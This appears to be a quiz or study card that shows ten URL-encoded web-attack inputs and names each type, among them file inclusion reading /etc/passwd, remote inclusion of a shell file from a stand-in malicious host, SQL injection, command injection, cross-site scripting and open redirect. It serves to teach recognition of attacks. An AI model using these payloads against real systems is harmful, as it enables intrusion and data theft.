injection types and examples

Question 1

Logfile=%2fetc%2fpassword%0C

Answer 1

Local File Inclusion (LFI)

Question 2

Item=widget%20union%20select%20null,null,@@version;-

Answer 2

SQL Injection (Union Based)

Question 3

Lookup=%(whoami)

Answer 3

Command Injections

Question 4

Search=Bob”%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e

Answer 4

Reflected Cross Site Scripting

Question 5

Logfile=http%2f%2fwww.malicious-site.com%2fshell.txt

Answer 5

Remote File Inclusion (RFI)

Question 6

Item=widget’+convert(int,@@version)+

Answer 6

SQL Injection (error-based)

Question 7

Site=www.exa’ping%20-c%202010%20localhost’mple.com

Answer 7

Command Injection

Question 8

inner-tab”>

alert(1)

Answer 8

DOM-based Cross Site Scripting

Question 9

Item=widget’;waitfor%20delay%20’00:00:20’;-

Answer 9

SQL Injection (Stacked)

Question 10

Redir=http:%2f%2fwww.malicious-site.com

Answer 10

URL Redirect